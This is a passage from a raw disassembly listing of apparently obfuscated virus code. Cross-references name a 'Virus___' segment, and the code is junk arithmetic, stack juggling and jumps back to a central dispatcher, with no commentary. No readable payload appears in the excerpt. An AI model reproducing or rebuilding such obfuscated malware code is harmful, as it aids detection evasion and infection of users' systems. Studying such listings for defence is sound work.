		jmp	loc_54A6E0
; ---------------------------------------------------------------------------


loc_54BC28:				; CODE XREF: sub_545A2B+58D9j
		xchg	ebp, [esp-4Ah+arg_46]
		mov	esp, [esp-4Ah+arg_46]
		jmp	loc_54496F
; ---------------------------------------------------------------------------


loc_54BC33:				; CODE XREF: sub_545A2B+626Dj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_54DBE3
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5492F5
; ---------------------------------------------------------------------------


loc_54BC4B:				; CODE XREF: sub_543268+C17Fj
		pop	esi
		jmp	loc_5448BD
; ---------------------------------------------------------------------------


loc_54BC51:				; CODE XREF: sub_545A2B-298Aj
		xchg	edx, [esp-0Ah+arg_4+2]
		pop	esp
		pop	[esp-0Eh+arg_A]
		pop	esp
		btc	word ptr [esp-16h+arg_12], ax
		pushf
		jmp	loc_54A1DB
; ---------------------------------------------------------------------------


loc_54BC64:				; CODE XREF: sub_545A2B+2E1Fj
		pop	ecx


loc_54BC65:				; CODE XREF: sub_545A2B+89F2j
		push	8D4h
		mov	[esp-42h+arg_3E], ebx
		jmp	loc_5485D6
; ---------------------------------------------------------------------------


loc_54BC72:				; CODE XREF: sub_545A2B+2A14j
		mov	ah, 0FBh
		add	bl, ah
		pop	eax
		add	bl, 9
		sub	bl, 0EEh
		jmp	loc_54B796
; ---------------------------------------------------------------------------


loc_54BC82:				; CODE XREF: sub_545A2B+6514j
		add	eax, edx
		push	[esp-2Ah+arg_26]
		mov	edx, [esp-26h+arg_22]
		add	esp, 4
		add	esp, 4
		and	ebx, eax
		pop	eax
		or	ebx, ebx
		jnz	loc_54BC33
		push	2E96h
		mov	[esp-2Eh+arg_2A], ecx
		push	esi
		mov	esi, 28E59BEh
		mov	ecx, 0FD71A662h
		add	ecx, esi
		pop	esi
		jmp	loc_54A007
; ---------------------------------------------------------------------------


loc_54BCB9:				; CODE XREF: sub_545A2B+8FCFj
		sub	ebx, 37476502h
		dec	ebx
		sub	ebx, 6F895F3h
		mov	eax, ebx
		jmp	loc_54ABD1
; ---------------------------------------------------------------------------


loc_54BCCD:				; CODE XREF: sub_54EAB6+Cj
		sub	ebx, 3A465B6Fh
		and	ebx, 7CDA3FB0h
		sub	ebx, 50883E7Ch
		jmp	loc_54F18F
; ---------------------------------------------------------------------------


loc_54BCE4:				; CODE XREF: sub_545A2B+5448j
		pop	esp
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	esi
		sub	esp, 4
		mov	[esp-30h+arg_2A+2], ebp
		mov	ebp, 7DE108EEh
		shl	ebp, 3
		sub	ebp, 5360087Fh
		inc	ebp
		push	ecx
		jmp	loc_54EDDA
; ---------------------------------------------------------------------------


loc_54BD0A:				; CODE XREF: sub_545A2B+8CE6j
		add	eax, 8CB29D64h
		add	ebp, eax
		pop	eax
		add	ebp, 2
		xchg	ebp, [esp-30h+arg_2A+2]
		pop	esp
		div	cx
		push	small 547Dh
		mov	word ptr [esp-32h+arg_2E], dx
		jmp	loc_54E3E0
; ---------------------------------------------------------------------------


loc_54BD2C:				; DATA XREF: Virus___:00542ECCo
		lodsb
		push	ecx
		push	esp
		jmp	loc_549026
; ---------------------------------------------------------------------------


loc_54BD34:				; CODE XREF: sub_545A2B+7447j
		mov	[esp-2Ah+arg_26], ebx
		push	51C1h
		mov	[esp-26h+arg_22], ebx
		mov	ebx, 25FF54ACh
		xor	[esp-26h+arg_26], ebx
		pop	ebx
		push	[esp-2Ah+arg_26]
		pop	eax
		add	esp, 4
		push	esi
		mov	esi, 25FF54ACh
		xor	eax, esi
		jmp	loc_54C317
; ---------------------------------------------------------------------------


loc_54BD60:				; CODE XREF: sub_545A2B+3495j
		push	ebp
		mov	ebp, 2B7D0322h
		and	eax, ebp
		pop	ebp
		or	eax, 53776A41h
		jmp	loc_54A317
; ---------------------------------------------------------------------------


loc_54BD73:				; CODE XREF: sub_545A2B+3F4Fj
		mov	[esp-2Eh+arg_2A], eax
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54BD7B:				; CODE XREF: sub_545A2B+A67j
		shr	ecx, 0Bh
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp-44h+arg_3E+2]
		pop	esp
		mov	[esp-48h+arg_42+2], edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		sub	edx, ecx
		jmp	loc_549611
; ---------------------------------------------------------------------------


loc_54BDA9:				; CODE XREF: sub_545A2B+6867j
		add	dword ptr [edi+20h], 1
		push	edx
		push	20h
		mov	edx, [esp-3Ch+arg_36+2]
		jmp	loc_5446AB
; ---------------------------------------------------------------------------


loc_54BDBE:				; CODE XREF: sub_545A2B+3FA0j
		shr	ebx, 2
		jmp	loc_548CF5
; ---------------------------------------------------------------------------


loc_54BDC6:				; CODE XREF: sub_544364+28j
		add	esp, 4
		add	edi, 4
		push	edi
		jmp	loc_543019
; ---------------------------------------------------------------------------


loc_54BDD5:				; CODE XREF: sub_545A2B-23Bj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-14h+arg_E+2]
		pop	esp
		add	esp, 4
		mov	[edi+24h], eax
		pop	eax
		xor	edx, edx
		push	8EAh
		jmp	loc_547E76
; ---------------------------------------------------------------------------


loc_54BDFB:				; CODE XREF: sub_545A2B+192Cj
		push	edx
		jmp	loc_54CAB2
; ---------------------------------------------------------------------------


loc_54BE01:				; CODE XREF: sub_545A2B+945Ej
		shl	dx, 5
		jmp	loc_54C798
; ---------------------------------------------------------------------------


loc_54BE0A:				; CODE XREF: sub_545A2B+439Ej
		mov	ebp, 68D24345h
		xor	esi, ebp
		pop	ebp
		jmp	loc_5481D0
; ---------------------------------------------------------------------------


loc_54BE17:				; CODE XREF: sub_545A2B+1A44j
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54BE1C:				; CODE XREF: sub_545A2B+FC9j
		not	esi
		sub	esi, 35582F8Fh
		shl	esi, 2
		and	esi, 6F233F7Bh
		jmp	loc_54B70A
; ---------------------------------------------------------------------------


loc_54BE32:				; CODE XREF: sub_545A2B+26F7j
		mov	[esp-12h+arg_E], edx
		mov	edx, 26E90EF8h
		jmp	loc_543996
; ---------------------------------------------------------------------------


loc_54BE3F:				; CODE XREF: sub_545A2B+3A3Bj
		mov	ecx, esp
		jmp	loc_54801D
; ---------------------------------------------------------------------------


loc_54BE46:				; CODE XREF: sub_545A2B+878Cj
		shl	ebx, 3
		or	ebx, 68542345h
		add	ebx, 0E2E2649Bh
		or	edx, ebx
		pop	ebx
		and	edx, 2E902648h
		push	ebp
		jmp	loc_544EA1
; ---------------------------------------------------------------------------


loc_54BE64:				; CODE XREF: sub_545A2B-2A9j
		mov	bh, 0C5h
		jmp	loc_5494B5
; ---------------------------------------------------------------------------


loc_54BE6B:				; CODE XREF: sub_545A2B+26C7j
		xor	[esp-38h+arg_32+2], eax
		xor	eax, [esp-38h+arg_32+2]
		mov	esp, [esp-38h+arg_32+2]
		add	esp, 4
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54BE7F:				; CODE XREF: sub_545A2B+3CCFj
		xor	bh, 0BBh
		push	ecx
		mov	cl, bh
		jmp	loc_54A3B0
; ---------------------------------------------------------------------------


loc_54BE8A:				; CODE XREF: sub_545A2B+6FE1j
		add	esi, edi
		sub	esi, 4DFF64B9h
		pop	edi
		add	esi, 2
		xchg	esi, [esp-2Eh+arg_2A]
		mov	esp, [esp-2Eh+arg_2A]
		imul	cx
		push	edi
		jmp	loc_54B9F8
; ---------------------------------------------------------------------------


loc_54BEA5:				; DATA XREF: Virus___:00542D1Co
		lodsd
		push	edx
		mov	edx, 16707C5Eh
		shl	edx, 3
		jmp	loc_54CC73
; ---------------------------------------------------------------------------


loc_54BEB4:				; CODE XREF: Virus___:00544124j
		not	edx
		xor	edx, 583C3A6Ch
		jmp	loc_54D6E4
; ---------------------------------------------------------------------------


loc_54BEC1:				; CODE XREF: sub_545A2B+2227j
		pop	esi
		xor	eax, ebx
		push	[esp-44h+arg_3E+2]
		jmp	loc_546D17
; ---------------------------------------------------------------------------


loc_54BECC:				; CODE XREF: sub_545A2B-1FA9j
		sub	al, 1Bh
		add	al, dh
		add	al, 1Bh
		mov	edx, [esp-38h+arg_32+2]
		add	esp, 4
		jmp	sub_544E4C
; ---------------------------------------------------------------------------


loc_54BEE0:				; CODE XREF: sub_545A2B+1C0Bj
		pop	eax
		xor	eax, 76713B3Ch
		pop	edi
		shl	eax, cl
		sub	esp, 4
		mov	[esp-16h+arg_12], esi
		push	4766h
		mov	[esp-12h+arg_E], edx
		mov	edx, 0FFFFFFFFh
		push	edx
		pop	esi
		pop	edx
		add	eax, esi
		jmp	loc_546290
; ---------------------------------------------------------------------------


loc_54BF09:				; CODE XREF: sub_545A2B+82CAj
		not	edi
		sub	esp, 4
		mov	[esp-12h+arg_E], ebp
		mov	ebp, 670407AAh
		neg	ebp
		or	ebp, 4E9F098Dh
		shr	ebp, 5
		not	ebp
		jmp	loc_549BB3
; ---------------------------------------------------------------------------


loc_54BF28:				; CODE XREF: sub_545A2B+735Fj
		pop	edi
		add	edi, 4
		push	117Bh
		mov	[esp-12h+arg_E], ecx
		jmp	loc_54ABA4
; ---------------------------------------------------------------------------


loc_54BF3C:				; CODE XREF: sub_545A2B+8112j
		add	esp, 4
		jmp	loc_54BC82
; ---------------------------------------------------------------------------


loc_54BF44:				; CODE XREF: sub_545A2B+2B5Ej
		add	eax, 4
		xchg	eax, [esp-28h+arg_22+2]
		jmp	loc_545F9D
; ---------------------------------------------------------------------------


loc_54BF51:				; CODE XREF: sub_545A2B+614Fj
		mov	[esp-20h+arg_1A+2], edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		jmp	loc_54362C
; ---------------------------------------------------------------------------


loc_54BF61:				; CODE XREF: sub_545A2B+6D18j
		push	[esp-24h+arg_1E+2]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp-24h+arg_1E+2], eax
		push	esp
		pop	eax
		push	esi
		mov	esi, 4
		add	eax, esi
		jmp	loc_54ABBF
; ---------------------------------------------------------------------------


loc_54BF80:				; CODE XREF: sub_545A2B+4396j
		mov	ebx, 617B3914h
		sub	ebx, edi
		mov	edi, [esp-0Ah+arg_4+2]
		jmp	loc_547B57
; ---------------------------------------------------------------------------


loc_54BF8F:				; DATA XREF: Virus___:00542C88o
		push	dword ptr fs:[edx]
		jmp	loc_54C152
; ---------------------------------------------------------------------------


loc_54BF97:				; CODE XREF: sub_545A2B+12C3j
		pop	edx
		add	esp, 4


loc_54BF9E:				; CODE XREF: sub_545A2B+38AFj
		push	0D3Bh
		mov	[esp-22h+arg_1E], ebx
		jmp	loc_549A3E
; ---------------------------------------------------------------------------


loc_54BFAB:				; CODE XREF: sub_545A2B-1D33j
		add	edx, eax
		jmp	loc_544FC8
; ---------------------------------------------------------------------------


loc_54BFB2:				; CODE XREF: sub_545A2B-2E2j
		pop	eax
		add	bl, 6Bh
		jmp	loc_54EA40
; ---------------------------------------------------------------------------


loc_54BFBB:				; CODE XREF: sub_545A2B-24Bj
		push	5272h
		jmp	loc_547A88
; ---------------------------------------------------------------------------


loc_54BFC5:				; CODE XREF: sub_545A2B+20C0j
		sub	edx, 9C6ED2EDh
		sub	ecx, edx
		pop	edx
		push	ebp
		jmp	sub_54F214
; ---------------------------------------------------------------------------


loc_54BFD4:				; CODE XREF: Virus___:00544050j
		push	esp
		pop	[esp-40h+arg_3A+2]
		add	[esp-44h+arg_3E+2], 4
		pop	ecx
		add	ecx, 4
		push	edx
		mov	edx, 6C7953F3h
		or	edx, 7D9C095Fh
		neg	edx
		push	edi
		mov	edi, 8202A403h
		xor	edx, edi
		pop	edi
		add	ecx, edx
		jmp	loc_54D820
; ---------------------------------------------------------------------------


loc_54C004:				; CODE XREF: sub_545A2B+595Cj
		pop	ecx
		shl	ecx, 8
		inc	ecx
		sub	ecx, 3314A2CBh
		add	ebx, ecx
		pop	ecx
		jmp	loc_54828D
; ---------------------------------------------------------------------------


loc_54C017:				; CODE XREF: sub_545A2B+7703j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54C023:				; CODE XREF: sub_545A2B-1685j
		push	ecx
		jmp	loc_5462C2
; ---------------------------------------------------------------------------


loc_54C029:				; CODE XREF: sub_545A2B+4D4Bj
		xor	ecx, 57B657B3h
		add	ecx, 1
		xor	ecx, 10B3117Ah
		sub	ecx, 812F1B9Eh
		jmp	loc_54E518
; ---------------------------------------------------------------------------


loc_54C043:				; CODE XREF: sub_545A2B+3D52j
		not	ebx
		or	ebx, 0EF00633h
		jmp	loc_54A725
; ---------------------------------------------------------------------------


loc_54C050:				; CODE XREF: Virus___:0054DDCDj
		push	edi
		mov	edi, 34472CCEh
		shr	edi, 3
		push	ecx
		jmp	loc_5436BD
; ---------------------------------------------------------------------------


loc_54C05F:				; CODE XREF: sub_545A2B+430Ej
		add	eax, edx
		pop	edx
		add	eax, 4
		xor	eax, [esp+0]
		jmp	loc_548A43
; ---------------------------------------------------------------------------


loc_54C06F:				; CODE XREF: sub_545A2B+6731j
		not	ecx
		sub	esp, 4
		mov	[esp-8+arg_4], edi
		push	edx
		mov	edx, 3E25741Eh
		jmp	loc_546935
; ---------------------------------------------------------------------------


loc_54C085:				; CODE XREF: sub_54CF49-87FAj
		push	esi
		push	[esp+arg_0]
		pop	esi
		pop	dword ptr [esp+0]
		pop	esp
		mov	ax, word ptr [esp-8+arg_4]
		push	ecx
		jmp	loc_54F259
; ---------------------------------------------------------------------------


loc_54C099:				; CODE XREF: sub_544481+10j
		push	ebx
		push	[esp+arg_0]
		pop	ebx
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		push	esi
		push	ecx
		jmp	loc_54E716
; ---------------------------------------------------------------------------


loc_54C0AC:				; CODE XREF: sub_545A2B-C69j
		xor	esi, ebx
		pop	ebx
		sub	eax, 766F0EF2h
		sub	eax, esi
		push	esi
		mov	esi, 766F0EF2h
		add	eax, esi
		pop	esi
		jmp	loc_5461F6
; ---------------------------------------------------------------------------


loc_54C0C4:				; CODE XREF: sub_545A2B+3F8Cj
		pop	ebp
		push	ebx
		mov	ebx, 0C9CE0B68h
		add	ecx, 2C9B51D0h
		jmp	loc_54D024
; ---------------------------------------------------------------------------


loc_54C0D6:				; CODE XREF: sub_545A2B+5096j
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, 174D193Ch
		add	edi, ebx
		sub	edi, 174D193Ch
		pop	ebx
		sub	edi, 4
		jmp	loc_548A7E
; ---------------------------------------------------------------------------


loc_54C0F5:				; CODE XREF: sub_545A2B+824Fj
		mov	[esp-1Eh+arg_1A], ebx
		jmp	loc_54A4DD
; ---------------------------------------------------------------------------


loc_54C0FD:				; CODE XREF: sub_545A2B+4EF7j
		push	eax
		mov	eax, 4
		add	ecx, eax
		jmp	loc_54CDE5
; ---------------------------------------------------------------------------


loc_54C10A:				; CODE XREF: sub_545A2B+9382j
		push	ecx
		jmp	loc_549586
; ---------------------------------------------------------------------------


loc_54C110:				; CODE XREF: sub_545A2B+721Ej
		push	edi
		jmp	loc_544AB2
; ---------------------------------------------------------------------------


loc_54C116:				; CODE XREF: sub_545A2B+3D7Dj
		mov	ebx, 56BB537Bh
		mov	esi, 16A713F5h
		add	esi, ebx
		pop	ebx
		push	edi
		mov	edi, 4F4D68EAh
		add	edi, 4A1F6F73h
		jmp	loc_54B67D
; ---------------------------------------------------------------------------


loc_54C134:				; CODE XREF: sub_545A2B+8F03j
		push	ecx
		push	5DECh
		mov	[esp-16h+arg_12], edx
		mov	dl, 38h
		jmp	loc_54E003
; ---------------------------------------------------------------------------


loc_54C144:				; CODE XREF: sub_545A2B+9B8j
		xchg	eax, [esp-3Ch+arg_36+2]
		pop	esp
		inc	word ptr [esp-40h+arg_3A+2]
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54C152:				; CODE XREF: sub_545A2B+6567j
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54C157:				; CODE XREF: sub_545A2B+2343j
		mov	ecx, 0D3F4B0Ch
		jmp	loc_54C06F
; ---------------------------------------------------------------------------


loc_54C161:				; CODE XREF: sub_545A2B+1351j
		add	esp, 2
		jmp	loc_54B965
; ---------------------------------------------------------------------------


loc_54C16C:				; CODE XREF: sub_545A2B-1BBAj
		pop	eax
		add	word ptr [esp-5Eh+arg_5C], di
		pop	di
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54C179:				; CODE XREF: sub_545A2B+2EC6j
		add	esp, 4
		movsx	ecx, ax
		push	7017h
		mov	[esp-1Ah+arg_16], ecx
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54C18F:				; CODE XREF: sub_545A2B-1A2Aj
		shl	edi, 5
		jmp	loc_54360F
; ---------------------------------------------------------------------------


loc_54C197:				; CODE XREF: sub_545A2B+69BFj
		add	esi, ecx
		pop	ecx
		jmp	loc_54A802
; ---------------------------------------------------------------------------


loc_54C19F:				; CODE XREF: sub_545A2B+3AA3j
		push	ebx
		mov	bl, dl
		jmp	loc_54A26D
; ---------------------------------------------------------------------------


loc_54C1A7:				; CODE XREF: sub_545A2B+1E87j
		sub	esp, 4
		mov	[esp-3Ah+arg_36], ecx
		mov	esi, [esp-3Ah+arg_36]
		add	esp, 4
		pop	ecx
		and	eax, esi
		pop	esi
		shr	eax, 8
		xor	eax, ecx
		push	ebp
		push	esp
		jmp	loc_54B862
; ---------------------------------------------------------------------------


loc_54C1C9:				; CODE XREF: sub_545A2B+1BB6j
		mov	esp, [esp-34h+arg_2E+2]
		mov	cx, word ptr [esp-34h+arg_2E+2]
		sub	esp, 4
		mov	[esp-30h+arg_2A+2], edx
		jmp	loc_547922
; ---------------------------------------------------------------------------


loc_54C1DB:				; CODE XREF: sub_545A2B+1FF0j
		xchg	edx, [esp-32h+arg_2E]
		jmp	loc_54B5FB
; ---------------------------------------------------------------------------
		xor	[esp-32h+arg_2E], eax
		xor	eax, [esp-32h+arg_2E]
		xor	[esp-32h+arg_2E], eax
		not	eax
		push	eax
		push	[esp-2Eh+arg_2E]
		mov	eax, [esp-2Ah+arg_26]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	esi
		jmp	loc_5454FF
; ---------------------------------------------------------------------------


loc_54C205:				; CODE XREF: sub_545A2B+97C2j
		sub	ax, cx
		jmp	loc_54BA6F
; ---------------------------------------------------------------------------


loc_54C20D:				; CODE XREF: sub_545A2B-1873j
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54C212:				; CODE XREF: sub_545A2B+70EDj
		xchg	ebx, [esp-1Eh+arg_1A]
		mov	esp, [esp-1Eh+arg_1A]
		jmp	loc_543545
; ---------------------------------------------------------------------------


loc_54C21D:				; CODE XREF: sub_545A2B-209Aj
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54C222:				; CODE XREF: sub_545A2B+9191j
		sub	ebx, 0DAF3244h
		jmp	loc_5433F8
; ---------------------------------------------------------------------------


loc_54C22D:				; CODE XREF: sub_545A2B-61Fj
		add	ebp, 67DC2B13h
		push	[esp-44h+arg_3E+2]
		mov	esi, [esp-40h+arg_3A+2]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-40h+arg_3A+2]
		pop	esp
		add	ebp, 2
		jmp	sub_54D650
; ---------------------------------------------------------------------------


loc_54C254:				; CODE XREF: sub_545A2B+15A5j
		xor	ebx, 62252996h
		jmp	loc_5446D6
; ---------------------------------------------------------------------------


loc_54C25F:				; CODE XREF: sub_545A2B+1472j
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		push	7DB6h
		mov	[esp-6+arg_0+2], eax
		jmp	loc_54A291
; ---------------------------------------------------------------------------


loc_54C274:				; CODE XREF: sub_545A2B-1661j
		push	ebx
		jmp	loc_543281
; ---------------------------------------------------------------------------


loc_54C27A:				; CODE XREF: sub_545A2B-2684j
		push	dword ptr [edi+20h]
		sub	[esp-20h+arg_1A+2], 0FFFFFFFFh
		pop	dword ptr [edi+20h]
		sub	dword ptr [edi+20h], 76ED1478h
		add	dword ptr [edi+20h], 2C845A89h
		jmp	loc_54BDA9
; ---------------------------------------------------------------------------


loc_54C297:				; CODE XREF: Virus___:0054D058j
		sub	esp, 4
		mov	[esp-20h+arg_1A+2], eax
		jmp	loc_544DC7
; ---------------------------------------------------------------------------


loc_54C2A2:				; CODE XREF: sub_545A2B+5DC3j
		or	bh, cl
		jmp	loc_54D8D8
; ---------------------------------------------------------------------------


loc_54C2A9:				; CODE XREF: sub_545A2B+3719j
		push	[esp-2+arg_0+2]
		mov	eax, [esp+2+var_4+2]
		add	esp, 4
		pop	dword ptr [esp+0]
		mov	esp, [esp-6+arg_0+2]
		jmp	loc_543405
; ---------------------------------------------------------------------------


loc_54C2BE:				; CODE XREF: sub_545A2B+13A8j
		add	esi, edx
		pop	edx
		xchg	esi, [esp-38h+arg_32+2]
		mov	esp, [esp-38h+arg_32+2]
		sub	esp, 4
		mov	[esp-34h+arg_2E+2], ebx
		push	edx
		push	76A64ABFh
		jmp	loc_544A75
; ---------------------------------------------------------------------------


loc_54C2D8:				; CODE XREF: sub_545A2B+5EB1j
		mov	[esp-32h+arg_2E], esi
		push	esp
		jmp	loc_54379E
; ---------------------------------------------------------------------------


loc_54C2E1:				; CODE XREF: sub_545A2B+4F01j
		pop	[esp-16h+arg_12]
		pop	esp
		jmp	loc_546AE1
; ---------------------------------------------------------------------------


loc_54C2EA:				; CODE XREF: sub_545A2B+6A8Dj
		sub	[esp-1Eh+arg_1E], ecx
		sub	[esp-1Eh+arg_1E], 5B08101Dh
		sub	[esp-1Eh+arg_1E], 5E5C6513h
		jmp	loc_543B05
; ---------------------------------------------------------------------------


loc_54C303:				; CODE XREF: sub_545A2B+325Cj
		push	ebx
		push	66793665h
		jmp	loc_54F378
; ---------------------------------------------------------------------------


loc_54C30E:				; CODE XREF: sub_545A2B-1D2Dj
		xchg	eax, [esp-36h+arg_32]
		pop	esp
		jmp	loc_54DE99
; ---------------------------------------------------------------------------


loc_54C317:				; CODE XREF: sub_545A2B+6330j
		pop	esi
		sub	esp, 4
		mov	[esp-2Ah+arg_26], edi
		push	ebp
		push	7C6F0D47h
		push	[esp-22h+arg_1E]
		pop	ebp
		add	esp, 4
		jmp	loc_54E77C
; ---------------------------------------------------------------------------


loc_54C333:				; CODE XREF: sub_545A2B+4070j
		sub	esi, 162D4D2Eh
		add	esi, 667B5A1Dh
		add	esi, edx
		sub	esi, 667B5A1Dh
		jmp	loc_546B34
; ---------------------------------------------------------------------------


loc_54C34C:				; CODE XREF: sub_545A2B+53A2j
		push	esi
		jmp	loc_549525
; ---------------------------------------------------------------------------


loc_54C352:				; CODE XREF: sub_545A2B-120Ej
		sub	esp, 4
		jmp	loc_54463B
; ---------------------------------------------------------------------------


loc_54C35D:				; CODE XREF: sub_545A2B-1027j
		sub	ebx, 2A5922CEh
		sub	ebx, edi
		add	ebx, 2A5922CEh
		pop	edi
		or	ebx, 2A3A3AADh
		or	ebx, 1E8B78CEh
		push	edi
		mov	edi, 91B5EA5h
		xor	edi, 46D322B5h
		dec	edi
		jmp	loc_548E4D
; ---------------------------------------------------------------------------


loc_54C38A:				; CODE XREF: sub_545A2B+10Fj
		push	ebp
		jmp	loc_54B8BC
; ---------------------------------------------------------------------------


loc_54C390:				; CODE XREF: sub_545A2B+7412j
		pop	esp
		jmp	loc_54C98D
; ---------------------------------------------------------------------------


loc_54C396:				; CODE XREF: sub_54D3EB+19j
		push	3E1Ch
		mov	[esp+14h+var_16+2], esp
		push	eax
		mov	eax, 4
		add	[esp+18h+var_16+2], eax
		pop	eax
		mov	ebx, [esp+14h+var_16+2]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		add	ebx, 4
		push	ebx
		push	[esp+14h+var_10]
		pop	ebx
		pop	[esp+14h+var_16+2]
		jmp	loc_547A27
; ---------------------------------------------------------------------------


loc_54C3CF:				; CODE XREF: sub_545A2B+30D9j
		pop	esi
		mov	ebp, eax
		pop	eax
		add	eax, 13581434h
		add	eax, ebp
		sub	eax, 13581434h
		jmp	loc_54D6B3
; ---------------------------------------------------------------------------


loc_54C3E4:				; CODE XREF: sub_545A2B+7519j
		xor	ecx, 7912776Bh
		jmp	loc_54C197
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		push	[esp-34h+arg_2E+2]
		jmp	loc_548E00
; ---------------------------------------------------------------------------


loc_54C3FA:				; CODE XREF: sub_545A2B+31ECj
		add	dh, 0DBh
		jmp	loc_54502F
; ---------------------------------------------------------------------------


loc_54C402:				; CODE XREF: sub_545A2B-25ECj
		push	edx
		push	edi
		mov	edi, 5A67646h
		jmp	loc_547786
; ---------------------------------------------------------------------------


loc_54C40E:				; CODE XREF: sub_545A2B+332Dj
		push	31Fh
		mov	[esp+0], esp
		jmp	sub_54E0A5
; ---------------------------------------------------------------------------


loc_54C41B:				; CODE XREF: sub_545A2B-1B38j
		mov	ebx, 2
		add	edx, ebx
		mov	ebx, [esp-3Ch+arg_36+2]
		add	esp, 4
		xchg	edx, [esp-40h+arg_3A+2]
		jmp	loc_5452A2
; ---------------------------------------------------------------------------


loc_54C430:				; CODE XREF: sub_545A2B-1CCBj
		push	[esp-48h+arg_42+2]
		mov	eax, [esp-44h+arg_3E+2]
		jmp	loc_5491AD
; ---------------------------------------------------------------------------


loc_54C43B:				; CODE XREF: sub_545A2B+8079j
		push	esi
		mov	esi, 13A146A6h
		xchg	ebx, esi
		not	ebx
		xchg	ebx, esi
		shr	esi, 1
		and	esi, 47813C60h
		dec	esi
		jmp	loc_543C44
; ---------------------------------------------------------------------------


loc_54C455:				; CODE XREF: sub_545A2B+1224j
		mov	edi, edx
		pop	edx
		push	edx
		push	edi
		mov	edi, 3FD60E81h
		push	2EEBh
		mov	[esp-0Ah+arg_4+2], edi
		push	ebp
		jmp	loc_549CD5
; ---------------------------------------------------------------------------


loc_54C46D:				; CODE XREF: sub_545A2B+11C1j
		add	ah, 0F0h
		add	bl, ah
		pop	eax
		add	bl, 0D7h
		sub	bl, al
		sub	bl, 0D7h
		sub	bl, 0D7h
		jmp	loc_549FC2
; ---------------------------------------------------------------------------


loc_54C483:				; CODE XREF: sub_545A2B+5B8Bj
		mov	[esp-2Ch+arg_26+2], edx
		sub	esp, 4
		mov	[esp-28h+arg_22+2], eax
		add	[esp-28h+arg_22+2], 0D472D76h
		mov	edx, [esp-28h+arg_22+2]
		add	esp, 4
		push	ebp
		jmp	loc_545D1E
; ---------------------------------------------------------------------------


loc_54C4A2:				; CODE XREF: sub_5456BE-1482j
		add	esp, 4
		jmp	loc_5443CF
; ---------------------------------------------------------------------------


loc_54C4AA:				; CODE XREF: sub_54EF09+6j
		sub	[esp-2Ch+arg_32+2], ebp
		pop	ebp
		pop	ebx
		add	[esp-34h+arg_32+2], 5B08101Dh
		jmp	loc_54C2EA
; ---------------------------------------------------------------------------


loc_54C4BD:				; CODE XREF: sub_545A2B+3B1Dj
		push	esi
		push	ebp
		push	edi
		jmp	loc_54A969
; ---------------------------------------------------------------------------


loc_54C4C5:				; CODE XREF: sub_545A2B-11F8j
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54C4CA:				; CODE XREF: sub_545A2B-140j
		pop	ebx
		add	edx, 2
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_543577
; ---------------------------------------------------------------------------


loc_54C4DF:				; CODE XREF: sub_545A2B+1A84j
		mov	ecx, 65150421h
		push	eax
		mov	eax, 501876B9h
		jmp	loc_5437C4
; ---------------------------------------------------------------------------


loc_54C4EF:				; CODE XREF: sub_545A2B+6B0Ej
		and	ecx, edx
		jmp	loc_5493C5
; ---------------------------------------------------------------------------


loc_54C4F6:				; CODE XREF: sub_545A2B+12F6j
		push	esi
		mov	esi, 4
		sub	edx, 373B0B4Dh
		add	edx, esi
		add	edx, 373B0B4Dh
		mov	esi, [esp-18h+arg_12+2]
		add	esp, 4
		xchg	edx, [esp-1Ch+arg_16+2]
		jmp	loc_544D11
; ---------------------------------------------------------------------------


loc_54C51B:				; CODE XREF: sub_545A2B+6C15j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp-18h+arg_12+2]
		pop	esp
		mov	[esp-1Ch+arg_16+2], esi
		jmp	loc_546C88
; ---------------------------------------------------------------------------


loc_54C532:				; CODE XREF: sub_545A2B+745Fj
		push	ebx
		jmp	loc_54E6BA
; ---------------------------------------------------------------------------


loc_54C538:				; CODE XREF: sub_545A2B+3402j
		pop	ebp
		jmp	loc_54C4EF
; ---------------------------------------------------------------------------


loc_54C53E:				; CODE XREF: sub_545A2B+1110j
		xchg	esi, [esp-3Ah+arg_36]
		mov	esp, [esp-3Ah+arg_36]
		sub	esp, 4
		mov	[esp-36h+arg_32], edi
		mov	edi, 1E006A11h
		push	ecx
		mov	ecx, 0
		push	edi
		mov	edi, 21961DA3h
		sub	edi, 2FD4267h
		sub	edi, 1
		dec	edi
		add	edi, 2B34802Ah
		sub	ecx, edi
		pop	edi
		sub	esp, 4
		mov	[esp-2Eh+arg_2A], ebp
		mov	ebp, 3B325FA6h
		sub	ecx, ebp
		pop	ebp
		sub	ecx, edi
		add	ecx, 3B325FA6h
		add	ecx, 49CD5B64h
		push	edi
		push	ecx
		pop	edi
		pop	ecx
		jmp	loc_549076
; ---------------------------------------------------------------------------


loc_54C599:				; CODE XREF: sub_545A2B+717Ej
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp-32h+arg_2E]
